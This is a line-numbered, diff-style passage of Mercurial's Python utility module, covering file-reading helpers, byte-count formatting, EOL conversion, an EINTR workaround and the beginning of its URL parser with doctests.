2275 assert limit is None or limit >= 0
2273 while True:
2276 while True:
2274 if limit is None:
2277 if limit is None:
2275 nbytes = size
2278 nbytes = size
2276 else:
2279 else:
2277 nbytes = min(limit, size)
2280 nbytes = min(limit, size)
2278 s = nbytes and f.read(nbytes)
2281 s = nbytes and f.read(nbytes)
2279 if not s:
2282 if not s:
2280 break
2283 break
2281 if limit:
2284 if limit:
2282 limit -= len(s)
2285 limit -= len(s)
2283 yield s
2286 yield s
2284
2287
2285 class cappedreader(object):
2288 class cappedreader(object):
2286 """A file object proxy that allows reading up to N bytes.
2289 """A file object proxy that allows reading up to N bytes.
2287
2290
2288 Given a source file object, instances of this type allow reading up to
2291 Given a source file object, instances of this type allow reading up to
2289 N bytes from that source file object. Attempts to read past the allowed
2292 N bytes from that source file object. Attempts to read past the allowed
2290 limit are treated as EOF.
2293 limit are treated as EOF.
2291
2294
2292 It is assumed that I/O is not performed on the original file object
2295 It is assumed that I/O is not performed on the original file object
2293 in addition to I/O that is performed by this instance. If there is,
2296 in addition to I/O that is performed by this instance. If there is,
2294 state tracking will get out of sync and unexpected results will ensue.
2297 state tracking will get out of sync and unexpected results will ensue.
2295 """
2298 """
2296 def __init__(self, fh, limit):
2299 def __init__(self, fh, limit):
2297 """Allow reading up to <limit> bytes from <fh>."""
2300 """Allow reading up to <limit> bytes from <fh>."""
2298 self._fh = fh
2301 self._fh = fh
2299 self._left = limit
2302 self._left = limit
2300
2303
2301 def read(self, n=-1):
2304 def read(self, n=-1):
2302 if not self._left:
2305 if not self._left:
2303 return b''
2306 return b''
2304
2307
2305 if n < 0:
2308 if n < 0:
2306 n = self._left
2309 n = self._left
2307
2310
2308 data = self._fh.read(min(n, self._left))
2311 data = self._fh.read(min(n, self._left))
2309 self._left -= len(data)
2312 self._left -= len(data)
2310 assert self._left >= 0
2313 assert self._left >= 0
2311
2314
2312 return data
2315 return data
2313
2316
2314 def readinto(self, b):
2317 def readinto(self, b):
2315 res = self.read(len(b))
2318 res = self.read(len(b))
2316 if res is None:
2319 if res is None:
2317 return None
2320 return None
2318
2321
2319 b[0:len(res)] = res
2322 b[0:len(res)] = res
2320 return len(res)
2323 return len(res)
2321
2324
2322 def unitcountfn(*unittable):
2325 def unitcountfn(*unittable):
2323 '''return a function that renders a readable count of some quantity'''
2326 '''return a function that renders a readable count of some quantity'''
2324
2327
2325 def go(count):
2328 def go(count):
2326 for multiplier, divisor, format in unittable:
2329 for multiplier, divisor, format in unittable:
2327 if abs(count) >= divisor * multiplier:
2330 if abs(count) >= divisor * multiplier:
2328 return format % (count / float(divisor))
2331 return format % (count / float(divisor))
2329 return unittable[-1][2] % count
2332 return unittable[-1][2] % count
2330
2333
2331 return go
2334 return go
2332
2335
2333 def processlinerange(fromline, toline):
2336 def processlinerange(fromline, toline):
2334 """Check that linerange <fromline>:<toline> makes sense and return a
2337 """Check that linerange <fromline>:<toline> makes sense and return a
2335 0-based range.
2338 0-based range.
2336
2339
2337 >>> processlinerange(10, 20)
2340 >>> processlinerange(10, 20)
2338 (9, 20)
2341 (9, 20)
2339 >>> processlinerange(2, 1)
2342 >>> processlinerange(2, 1)
2340 Traceback (most recent call last):
2343 Traceback (most recent call last):
2341 ...
2344 ...
2342 ParseError: line range must be positive
2345 ParseError: line range must be positive
2343 >>> processlinerange(0, 5)
2346 >>> processlinerange(0, 5)
2344 Traceback (most recent call last):
2347 Traceback (most recent call last):
2345 ...
2348 ...
2346 ParseError: fromline must be strictly positive
2349 ParseError: fromline must be strictly positive
2347 """
2350 """
2348 if toline - fromline < 0:
2351 if toline - fromline < 0:
2349 raise error.ParseError(_("line range must be positive"))
2352 raise error.ParseError(_("line range must be positive"))
2350 if fromline < 1:
2353 if fromline < 1:
2351 raise error.ParseError(_("fromline must be strictly positive"))
2354 raise error.ParseError(_("fromline must be strictly positive"))
2352 return fromline - 1, toline
2355 return fromline - 1, toline
2353
2356
2354 bytecount = unitcountfn(
2357 bytecount = unitcountfn(
2355 (100, 1 << 30, _('%.0f GB')),
2358 (100, 1 << 30, _('%.0f GB')),
2356 (10, 1 << 30, _('%.1f GB')),
2359 (10, 1 << 30, _('%.1f GB')),
2357 (1, 1 << 30, _('%.2f GB')),
2360 (1, 1 << 30, _('%.2f GB')),
2358 (100, 1 << 20, _('%.0f MB')),
2361 (100, 1 << 20, _('%.0f MB')),
2359 (10, 1 << 20, _('%.1f MB')),
2362 (10, 1 << 20, _('%.1f MB')),
2360 (1, 1 << 20, _('%.2f MB')),
2363 (1, 1 << 20, _('%.2f MB')),
2361 (100, 1 << 10, _('%.0f KB')),
2364 (100, 1 << 10, _('%.0f KB')),
2362 (10, 1 << 10, _('%.1f KB')),
2365 (10, 1 << 10, _('%.1f KB')),
2363 (1, 1 << 10, _('%.2f KB')),
2366 (1, 1 << 10, _('%.2f KB')),
2364 (1, 1, _('%.0f bytes')),
2367 (1, 1, _('%.0f bytes')),
2365 )
2368 )
2366
2369
2367 class transformingwriter(object):
2370 class transformingwriter(object):
2368 """Writable file wrapper to transform data by function"""
2371 """Writable file wrapper to transform data by function"""
2369
2372
2370 def __init__(self, fp, encode):
2373 def __init__(self, fp, encode):
2371 self._fp = fp
2374 self._fp = fp
2372 self._encode = encode
2375 self._encode = encode
2373
2376
2374 def close(self):
2377 def close(self):
2375 self._fp.close()
2378 self._fp.close()
2376
2379
2377 def flush(self):
2380 def flush(self):
2378 self._fp.flush()
2381 self._fp.flush()
2379
2382
2380 def write(self, data):
2383 def write(self, data):
2381 return self._fp.write(self._encode(data))
2384 return self._fp.write(self._encode(data))
2382
2385
2383 # Matches a single EOL which can either be a CRLF where repeated CR
2386 # Matches a single EOL which can either be a CRLF where repeated CR
2384 # are removed or a LF. We do not care about old Macintosh files, so a
2387 # are removed or a LF. We do not care about old Macintosh files, so a
2385 # stray CR is an error.
2388 # stray CR is an error.
2386 _eolre = remod.compile(br'\r*\n')
2389 _eolre = remod.compile(br'\r*\n')
2387
2390
2388 def tolf(s):
2391 def tolf(s):
2389 return _eolre.sub('\n', s)
2392 return _eolre.sub('\n', s)
2390
2393
2391 def tocrlf(s):
2394 def tocrlf(s):
2392 return _eolre.sub('\r\n', s)
2395 return _eolre.sub('\r\n', s)
2393
2396
2394 def _crlfwriter(fp):
2397 def _crlfwriter(fp):
2395 return transformingwriter(fp, tocrlf)
2398 return transformingwriter(fp, tocrlf)
2396
2399
2397 if pycompat.oslinesep == '\r\n':
2400 if pycompat.oslinesep == '\r\n':
2398 tonativeeol = tocrlf
2401 tonativeeol = tocrlf
2399 fromnativeeol = tolf
2402 fromnativeeol = tolf
2400 nativeeolwriter = _crlfwriter
2403 nativeeolwriter = _crlfwriter
2401 else:
2404 else:
2402 tonativeeol = pycompat.identity
2405 tonativeeol = pycompat.identity
2403 fromnativeeol = pycompat.identity
2406 fromnativeeol = pycompat.identity
2404 nativeeolwriter = pycompat.identity
2407 nativeeolwriter = pycompat.identity
2405
2408
2406 if (pyplatform.python_implementation() == 'CPython' and
2409 if (pyplatform.python_implementation() == 'CPython' and
2407 sys.version_info < (3, 0)):
2410 sys.version_info < (3, 0)):
2408 # There is an issue in CPython that some IO methods do not handle EINTR
2411 # There is an issue in CPython that some IO methods do not handle EINTR
2409 # correctly. The following table shows what CPython version (and functions)
2412 # correctly. The following table shows what CPython version (and functions)
2410 # are affected (buggy: has the EINTR bug, okay: otherwise):
2413 # are affected (buggy: has the EINTR bug, okay: otherwise):
2411 #
2414 #
2412 # | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0
2415 # | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0
2413 # --------------------------------------------------
2416 # --------------------------------------------------
2414 # fp.__iter__ | buggy | buggy | okay
2417 # fp.__iter__ | buggy | buggy | okay
2415 # fp.read* | buggy | okay [1] | okay
2418 # fp.read* | buggy | okay [1] | okay
2416 #
2419 #
2417 # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo.
2420 # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo.
2418 #
2421 #
2419 # Here we workaround the EINTR issue for fileobj.__iter__. Other methods
2422 # Here we workaround the EINTR issue for fileobj.__iter__. Other methods
2420 # like "read*" are ignored for now, as Python < 2.7.4 is a minority.
2423 # like "read*" are ignored for now, as Python < 2.7.4 is a minority.
2421 #
2424 #
2422 # Although we can workaround the EINTR issue for fp.__iter__, it is slower:
2425 # Although we can workaround the EINTR issue for fp.__iter__, it is slower:
2423 # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in
2426 # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in
2424 # CPython 2, because CPython 2 maintains an internal readahead buffer for
2427 # CPython 2, because CPython 2 maintains an internal readahead buffer for
2425 # fp.__iter__ but not other fp.read* methods.
2428 # fp.__iter__ but not other fp.read* methods.
2426 #
2429 #
2427 # On modern systems like Linux, the "read" syscall cannot be interrupted
2430 # On modern systems like Linux, the "read" syscall cannot be interrupted
2428 # when reading "fast" files like on-disk files. So the EINTR issue only
2431 # when reading "fast" files like on-disk files. So the EINTR issue only
2429 # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG)
2432 # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG)
2430 # files approximately as "fast" files and use the fast (unsafe) code path,
2433 # files approximately as "fast" files and use the fast (unsafe) code path,
2431 # to minimize the performance impact.
2434 # to minimize the performance impact.
2432 if sys.version_info >= (2, 7, 4):
2435 if sys.version_info >= (2, 7, 4):
2433 # fp.readline deals with EINTR correctly, use it as a workaround.
2436 # fp.readline deals with EINTR correctly, use it as a workaround.
2434 def _safeiterfile(fp):
2437 def _safeiterfile(fp):
2435 return iter(fp.readline, '')
2438 return iter(fp.readline, '')
2436 else:
2439 else:
2437 # fp.read* are broken too, manually deal with EINTR in a stupid way.
2440 # fp.read* are broken too, manually deal with EINTR in a stupid way.
2438 # note: this may block longer than necessary because of bufsize.
2441 # note: this may block longer than necessary because of bufsize.
2439 def _safeiterfile(fp, bufsize=4096):
2442 def _safeiterfile(fp, bufsize=4096):
2440 fd = fp.fileno()
2443 fd = fp.fileno()
2441 line = ''
2444 line = ''
2442 while True:
2445 while True:
2443 try:
2446 try:
2444 buf = os.read(fd, bufsize)
2447 buf = os.read(fd, bufsize)
2445 except OSError as ex:
2448 except OSError as ex:
2446 # os.read only raises EINTR before any data is read
2449 # os.read only raises EINTR before any data is read
2447 if ex.errno == errno.EINTR:
2450 if ex.errno == errno.EINTR:
2448 continue
2451 continue
2449 else:
2452 else:
2450 raise
2453 raise
2451 line += buf
2454 line += buf
2452 if '\n' in buf:
2455 if '\n' in buf:
2453 splitted = line.splitlines(True)
2456 splitted = line.splitlines(True)
2454 line = ''
2457 line = ''
2455 for l in splitted:
2458 for l in splitted:
2456 if l[-1] == '\n':
2459 if l[-1] == '\n':
2457 yield l
2460 yield l
2458 else:
2461 else:
2459 line = l
2462 line = l
2460 if not buf:
2463 if not buf:
2461 break
2464 break
2462 if line:
2465 if line:
2463 yield line
2466 yield line
2464
2467
2465 def iterfile(fp):
2468 def iterfile(fp):
2466 fastpath = True
2469 fastpath = True
2467 if type(fp) is file:
2470 if type(fp) is file:
2468 fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode)
2471 fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode)
2469 if fastpath:
2472 if fastpath:
2470 return fp
2473 return fp
2471 else:
2474 else:
2472 return _safeiterfile(fp)
2475 return _safeiterfile(fp)
2473 else:
2476 else:
2474 # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed.
2477 # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed.
2475 def iterfile(fp):
2478 def iterfile(fp):
2476 return fp
2479 return fp
2477
2480
2478 def iterlines(iterator):
2481 def iterlines(iterator):
2479 for chunk in iterator:
2482 for chunk in iterator:
2480 for line in chunk.splitlines():
2483 for line in chunk.splitlines():
2481 yield line
2484 yield line
2482
2485
2483 def expandpath(path):
2486 def expandpath(path):
2484 return os.path.expanduser(os.path.expandvars(path))
2487 return os.path.expanduser(os.path.expandvars(path))
2485
2488
2486 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
2489 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
2487 """Return the result of interpolating items in the mapping into string s.
2490 """Return the result of interpolating items in the mapping into string s.
2488
2491
2489 prefix is a single character string, or a two character string with
2492 prefix is a single character string, or a two character string with
2490 a backslash as the first character if the prefix needs to be escaped in
2493 a backslash as the first character if the prefix needs to be escaped in
2491 a regular expression.
2494 a regular expression.
2492
2495
2493 fn is an optional function that will be applied to the replacement text
2496 fn is an optional function that will be applied to the replacement text
2494 just before replacement.
2497 just before replacement.
2495
2498
2496 escape_prefix is an optional flag that allows using doubled prefix for
2499 escape_prefix is an optional flag that allows using doubled prefix for
2497 its escaping.
2500 its escaping.
2498 """
2501 """
2499 fn = fn or (lambda s: s)
2502 fn = fn or (lambda s: s)
2500 patterns = '|'.join(mapping.keys())
2503 patterns = '|'.join(mapping.keys())
2501 if escape_prefix:
2504 if escape_prefix:
2502 patterns += '|' + prefix
2505 patterns += '|' + prefix
2503 if len(prefix) > 1:
2506 if len(prefix) > 1:
2504 prefix_char = prefix[1:]
2507 prefix_char = prefix[1:]
2505 else:
2508 else:
2506 prefix_char = prefix
2509 prefix_char = prefix
2507 mapping[prefix_char] = prefix_char
2510 mapping[prefix_char] = prefix_char
2508 r = remod.compile(br'%s(%s)' % (prefix, patterns))
2511 r = remod.compile(br'%s(%s)' % (prefix, patterns))
2509 return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
2512 return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
2510
2513
2511 def getport(port):
2514 def getport(port):
2512 """Return the port for a given network service.
2515 """Return the port for a given network service.
2513
2516
2514 If port is an integer, it's returned as is. If it's a string, it's
2517 If port is an integer, it's returned as is. If it's a string, it's
2515 looked up using socket.getservbyname(). If there's no matching
2518 looked up using socket.getservbyname(). If there's no matching
2516 service, error.Abort is raised.
2519 service, error.Abort is raised.
2517 """
2520 """
2518 try:
2521 try:
2519 return int(port)
2522 return int(port)
2520 except ValueError:
2523 except ValueError:
2521 pass
2524 pass
2522
2525
2523 try:
2526 try:
2524 return socket.getservbyname(pycompat.sysstr(port))
2527 return socket.getservbyname(pycompat.sysstr(port))
2525 except socket.error:
2528 except socket.error:
2526 raise error.Abort(_("no port number associated with service '%s'")
2529 raise error.Abort(_("no port number associated with service '%s'")
2527 % port)
2530 % port)
2528
2531
2529 class url(object):
2532 class url(object):
2530 r"""Reliable URL parser.
2533 r"""Reliable URL parser.
2531
2534
2532 This parses URLs and provides attributes for the following
2535 This parses URLs and provides attributes for the following
2533 components:
2536 components:
2534
2537
2535 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
2538 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
2536
2539
2537 Missing components are set to None. The only exception is
2540 Missing components are set to None. The only exception is
2538 fragment, which is set to '' if present but empty.
2541 fragment, which is set to '' if present but empty.
2539
2542
2540 If parsefragment is False, fragment is included in query. If
2543 If parsefragment is False, fragment is included in query. If
2541 parsequery is False, query is included in path. If both are
2544 parsequery is False, query is included in path. If both are
2542 False, both fragment and query are included in path.
2545 False, both fragment and query are included in path.
2543
2546
2544 See http://www.ietf.org/rfc/rfc2396.txt for more information.
2547 See http://www.ietf.org/rfc/rfc2396.txt for more information.
2545
2548
2546 Note that for backward compatibility reasons, bundle URLs do not
2549 Note that for backward compatibility reasons, bundle URLs do not
2547 take host names. That means 'bundle://../' has a path of '../'.
2550 take host names. That means 'bundle://../' has a path of '../'.
2548
2551
2549 Examples:
2552 Examples:
2550
2553
2551 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
2554 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
2552 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
2555 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
2553 >>> url(b'ssh://[::1]:2200//home/joe/repo')
2556 >>> url(b'ssh://[::1]:2200//home/joe/repo')
2554 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
2557 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
2555 >>> url(b'file:///home/joe/repo')
2558 >>> url(b'file:///home/joe/repo')
2556 <url scheme: 'file', path: '/home/joe/repo'>
2559 <url scheme: 'file', path: '/home/joe/repo'>
2557 >>> url(b'file:///c:/temp/foo/')
2560 >>> url(b'file:///c:/temp/foo/')
2558 <url scheme: 'file', path: 'c:/temp/foo/'>
2561 <url scheme: 'file', path: 'c:/temp/foo/'>
2559 >>> url(b'bundle:foo')
2562 >>> url(b'bundle:foo')
2560 <url scheme: 'bundle', path: 'foo'>
2563 <url scheme: 'bundle', path: 'foo'>
2561 >>> url(b'bundle://../foo')
2564 >>> url(b'bundle://../foo')
2562 <url scheme: 'bundle', path: '../foo'>
2565 <url scheme: 'bundle', path: '../foo'>
2563 >>> url(br'c:\foo\bar')
2566 >>> url(br'c:\foo\bar')
2564 <url path: 'c:\\foo\\bar'>
2567 <url path: 'c:\\foo\\bar'>
2565 >>> url(br'\\blah\blah\blah')
2568 >>> url(br'\\blah\blah\blah')
2566 <url path: '\\\\blah\\blah\\blah'>
2569 <url path: '\\\\blah\\blah\\blah'>
2567 >>> url(br'\\blah\blah\blah#baz')
2570 >>> url(br'\\blah\blah\blah#baz')
2568 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
2571 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
2569 >>> url(br'file:///C:\users\me')
2572 >>> url(br'file:///C:\users\me')
2570 <url scheme: 'file', path: 'C:\\users\\me'>
2573 <url scheme: 'file', path: 'C:\\users\\me'>
2571
2574
2572 Authentication credentials:
2575 Authentication credentials:
2573
2576
2574 >>> url(b'ssh://joe:xyz@x/repo')
2577 >>> url(b'ssh://joe:xyz@x/repo')
2575 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
2578 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
2576 >>> url(b'ssh://joe@x/repo')
2579 >>> url(b'ssh://joe@x/repo')
2577 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
2580 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
2578
2581
2579 Query strings and fragments:
2582 Query strings and fragments:
2580
2583
2581 >>> url(b'http://host/a?b#c')
2584 >>> url(b'http://host/a?b#c')
2582 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
2585 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
2583 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
2586 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
2584 <url scheme: 'http', host: 'host', path: 'a?b#c'>
2587 <url scheme: 'http', host: 'host', path: 'a?b#c'>
2585
2588
2586 Empty path:
2589 Empty path:
2587
2590
2588 >>> url(b'')
2591 >>> url(b'')
2589 <url path: ''>
2592 <url path: ''>
2590 >>> url(b'#a')
2593 >>> url(b'#a')
2591 <url path: '', fragment: 'a'>
2594 <url path: '', fragment: 'a'>
2592 >>> url(b'http://host/')
2595 >>> url(b'http://host/')
2593 <url scheme: 'http', host: 'host', path: ''>
2596 <url scheme: 'http', host: 'host', path: ''>
2594 >>> url(b'http://host/#a')
2597 >>> url(b'http://host/#a')
2595 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
2598 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
2596
2599
2597 Only scheme:
2600 Only scheme:
2598
2601
2599 >>> url(b'http:')
2602 >>> url(b'http:')
2600 <url scheme: 'http'>
2603 <url scheme: 'http'>
2601 """
2604 """
2602
2605
2603 _safechars = "!~*'()+"
2606 _safechars = "!~*'()+"
2604 _safepchars = "/!~*'()+:\\"
2607 _safepchars = "/!~*'()+:\\"
2605 _matchscheme = remod.compile('^[a-zA-Z0-9+.\\-]+:').match
2608 _matchscheme = remod.compile('^[a-zA-Z0-9+.\\-]+:').match
2606
2609
2607 def __init__(self, path, parsequery=True, parsefragment=True):
2610 def __init__(self, path, parsequery=True, parsefragment=True):
2608 # We slowly chomp away at path until we have only the path left
2611 # We slowly chomp away at path until we have only the path left
2609 self.scheme = self.user = self.passwd = self.host = None
2612 self.scheme = self.user = self.passwd = self.host = None
2610 self.port = self.path = self.query = self.fragment = None
2613 self.port = self.path = self.query = self.fragment = None
2611 self._localpath = True
2614 self._localpath = True
2612 self._hostport = ''
2615 self._hostport = ''
2613 self._origpath = path
2616 self._origpath = path
2614
2617
2615 if parsefragment and '#' in path:
2618 if parsefragment and '#' in path:
2616 path, self.fragment = path.split('#', 1)
2619 path, self.fragment = path.split('#', 1)
2617
2620
2618 # special case for Windows drive letters and UNC paths
2621 # special case for Windows drive letters and UNC paths
2619 if hasdriveletter(path) or path.startswith('\\\\'):
2622 if hasdriveletter(path) or path.startswith('\\\\'):
2620 self.path = path
2623 self.path = path
2621 return
2624 return
2622
2625
2623 # For compatibility reasons, we can't handle bundle paths as
2626 # For compatibility reasons, we can't handle bundle paths as
2624 # normal URLS
2627 # normal URLS
2625 if path.startswith('bundle:'):
2628 if path.startswith('bundle:'):
2626 self.scheme = 'bundle'
2629 self.scheme = 'bundle'
2627 path = path[7:]
2630 path = path[7:]
2628 if path.startswith('//'):
2631 if path.startswith('//'):
2629 path = path[2:]
2632 path = path[2:]
2630 self.path = path
2633 self.path = path
2631 return
2634 return
2632
2635
2633 if self._matchscheme(path):
2636 if self._matchscheme(path):
2634 parts = path.split(':', 1)
2637 parts = path.split(':', 1)
2635 if parts[0]:
2638 if parts[0]:
2636 self.scheme, path = parts
2639 self.scheme, path = parts
2637 self._localpath = False
2640 self._localpath = False
2638
2641
2639 if not path:
2642 if not path:
2640 path = None
2643 path = None
2641 if self._localpath:
2644 if self._localpath:
2642 self.path = ''
2645 self.path = ''
2643 return
2646 return
2644 else:
2647 else:
2645 if self._localpath:
2648 if self._localpath:
2646 self.path = path
2649 self.path = path
2647 return
2650 return
2648
2651
2649 if parsequery and '?' in path:
2652 if parsequery and '?' in path:
2650 path, self.query = path.split('?', 1)
2653 path, self.query = path.split('?', 1)
2651 if not path:
2654 if not path:
2652 path = None
2655 path = None
2653 if not self.query:
2656 if not self.query:
2654 self.query = None
2657 self.query = None
2655
2658
2656 # // is required to specify a host/authority
2659 # // is required to specify a host/authority
2657 if path and path.startswith('//'):
2660 if path and path.startswith('//'):
2658 parts = path[2:].split('/', 1)
2661 parts = path[2:].split('/', 1)
2659 if len(parts) > 1:
2662 if len(parts) > 1:
2660 self.host, path = parts
2663 self.host, path = parts
2661 else:
2664 else:
2662 self.host = parts[0]
2665 self.host = parts[0]
2663 path = None
2666 path = None
2664 if not self.host:
2667 if not self.host:
2665 self.host = None
2668 self.host = None
2666 # path of file:///d is /d
2669 # path of file:///d is /d
2667 # path of file:///d:/ is d:/, not /d:/
2670 # path of file:///d:/ is d:/, not /d:/
2668 if path and not hasdriveletter(path):
2671 if path and not hasdriveletter(path):
2669 path = '/' + path
2672 path = '/' + path
2670
2673
2671 if self.host and '@' in self.host:
2674 if self.host and '@' in self.host:
2672 self.user, self.host = self.host.rsplit('@', 1)
2675 self.user, self.host = self.host.rsplit('@', 1)
2673 if ':' in self.user:
2676 if ':' in self.user:
2674 self.user, self.passwd = self.user.split(':', 1)
2677 self.user, self.passwd = self.user.split(':', 1)
2675 if not self.host:
2678 if not self.host:
2676 self.host = None
2679 self.host = None
2677
2680
2678 # Don't split on colons in IPv6 addresses without ports
2681 # Don't split on colons in IPv6 addresses without ports
2679 if (self.host and ':' in self.host and
2682 if (self.host and ':' in self.host and
2680 not (self.host.startswith('[') and self.host.endswith(']'))):
2683 not (self.host.startswith('[') and self.host.endswith(']'))):
2681 self._hostport = self.host
2684 self._hostport = self.host
2682 self.host, self.port = self.host.rsplit(':', 1)
2685 self.host, self.port = self.host.rsplit(':', 1)
2683 if not self.host:
2686 if not self.host:
2684 self.host = None
2687 self.host = None
2685
2688
2686 if (self.host and self.scheme == 'file' and
2689 if (self.host and self.scheme == 'file' and
2687 self.host not in ('localhost', '127.0.0.1', '[::1]')):
2690 self.host not in ('localhost', '127.0.0.1', '[::1]')):
2688 raise error.Abort(_('file:// URLs can only refer to localhost'))
2691 raise error.Abort(_('file:// URLs can only refer to localhost'))
2689
2692
2690 self.path = path
2693 self.path = path
2691
2694
2692 # leave the query string escaped
2695 # leave the query string escaped
2693 for a in ('user', 'passwd', 'host', 'port',
2696 for a in ('user', 'passwd', 'host', 'port',
2694 'path', 'fragment'):
2697 'path', 'fragment'):
2695 v = getattr(self, a)
2698 v = getattr(self, a)
2696 if v is not None:
2699 if v is not None:
2697 setattr(self, a, urlreq.unquote(v))
2700 setattr(self, a, urlreq.unquote(v))
2698
2701
2699 @encoding.strmethod
2702 @encoding.strmethod
2700 def __repr__(self):
2703 def __repr__(self):
2701 attrs = []
2704 attrs = []
2702 for a in ('scheme', 'user', 'passwd', 'host', 'port', 'path',
2705 for a in ('scheme', 'user', 'passwd', 'host', 'port', 'path',
2703 'query', 'fragment'):
2706 'query', 'fragment'):
2704 v = getattr(self, a)
2707 v = getattr(self, a)
2705 if v is not None:
2708 if v is not None:
2706 attrs.append('%s: %r' % (a, v))
2709 attrs.append('%s: %r' % (a, v))
2707 return '<url %s>' % ', '.join(attrs)
2710 return '<url %s>' % ', '.join(attrs)
2708
2711
2709 def __bytes__(self):
2712 def __bytes__(self):
2710 r"""Join the URL's components back into a URL string.
2713 r"""Join the URL's components back into a URL string.
2711
2714
2712 Examples:
2715 Examples:
2713
2716
2714 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
2717 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
2715 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
2718 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
2716 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
2719 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
2717 'http://user:pw@host:80/?foo=bar&baz=42'
2720 'http://user:pw@host:80/?foo=bar&baz=42'
2718 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
2721 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
2719 'http://user:pw@host:80/?foo=bar%3dbaz'
2722 'http://user:pw@host:80/?foo=bar%3dbaz'
2720 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
2723 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
2721 'ssh://user:pw@[::1]:2200//home/joe#'
2724 'ssh://user:pw@[::1]:2200//home/joe#'
2722 >>> bytes(url(b'http://localhost:80//'))
2725 >>> bytes(url(b'http://localhost:80//'))
2723 'http://localhost:80//'
2726 'http://localhost:80//'
2724 >>> bytes(url(b'http://localhost:80/'))
2727 >>> bytes(url(b'http://localhost:80/'))
2725 'http://localhost:80/'
2728 'http://localhost:80/'
2726 >>> bytes(url(b'http://localhost:80'))
2729 >>> bytes(url(b'http://localhost:80'))
2727 'http://localhost:80/'
2730 'http://localhost:80/'
2728 >>> bytes(url(b'bundle:foo'))
2731 >>> bytes(url(b'bundle:foo'))
2729 'bundle:foo'
2732 'bundle:foo'
2730 >>> bytes(url(b'bundle://../foo'))
2733 >>> bytes(url(b'bundle://../foo'))
2731 'bundle:../foo'
2734 'bundle:../foo'
2732 >>> bytes(url(b'path'))
2735 >>> bytes(url(b'path'))
2733 'path'
2736 'path'
2734 >>> bytes(url(b'file:///tmp/foo/bar'))
2737 >>> bytes(url(b'file:///tmp/foo/bar'))
2735 'file:///tmp/foo/bar'
2738 'file:///tmp/foo/bar'
2736 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
2739 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
2737 'file:///c:/tmp/foo/bar'
2740 'file:///c:/tmp/foo/bar'
2738 >>> print(url(br'bundle:foo\bar'))
2741 >>> print(url(br'bundle:foo\bar'))
2739 bundle:foo\bar
2742 bundle:foo\bar
2740 >>> print(url(br'file:///D:\data\hg'))
2743 >>> print(url(br'file:///D:\data\hg'))
2741 file:///D:\data\hg
2744 file:///D:\data\hg
2742 """
2745 """
2743 if self._localpath:
2746 if self._localpath:
2744 s = self.path
2747 s = self.path
2745 if self.scheme == 'bundle':
2748 if self.scheme == 'bundle':
2746 s = 'bundle:' + s
2749 s = 'bundle:' + s
2747 if self.fragment:
2750 if self.fragment:
2748 s += '#' + self.fragment
2751 s += '#' + self.fragment
2749 return s
2752 return s
2750
2753
2751 s = self.scheme + ':'
2754 s = self.scheme + ':'
2752 if self.user or self.passwd or self.host:
2755 if self.user or self.passwd or self.host:
2753 s += '//'
2756 s += '//'
2754 elif self.scheme and (not self.path or self.path.startswith('/')
2757 elif self.scheme and (not self.path or self.path.startswith('/')
2755 or hasdriveletter(self.path)):
2758 or hasdriveletter(self.path)):
2756 s += '//'
2759 s += '//'
2757 if hasdriveletter(self.path):
2760 if hasdriveletter(self.path):
2758 s += '/'
2761 s += '/'
2759 if self.user:
2762 if self.user:
2760 s += urlreq.quote(self.user, safe=self._safechars)
2763 s += urlreq.quote(self.user, safe=self._safechars)
2761 if self.passwd:
2764 if self.passwd:
2762 s += ':' + urlreq.quote(self.passwd, safe=self._safechars)
2765 s += ':' + urlreq.quote(self.passwd, safe=self._safechars)
2763 if self.user or self.passwd:
2766 if self.user or self.passwd:
2764 s += '@'
2767 s += '@'
2765 if self.host:
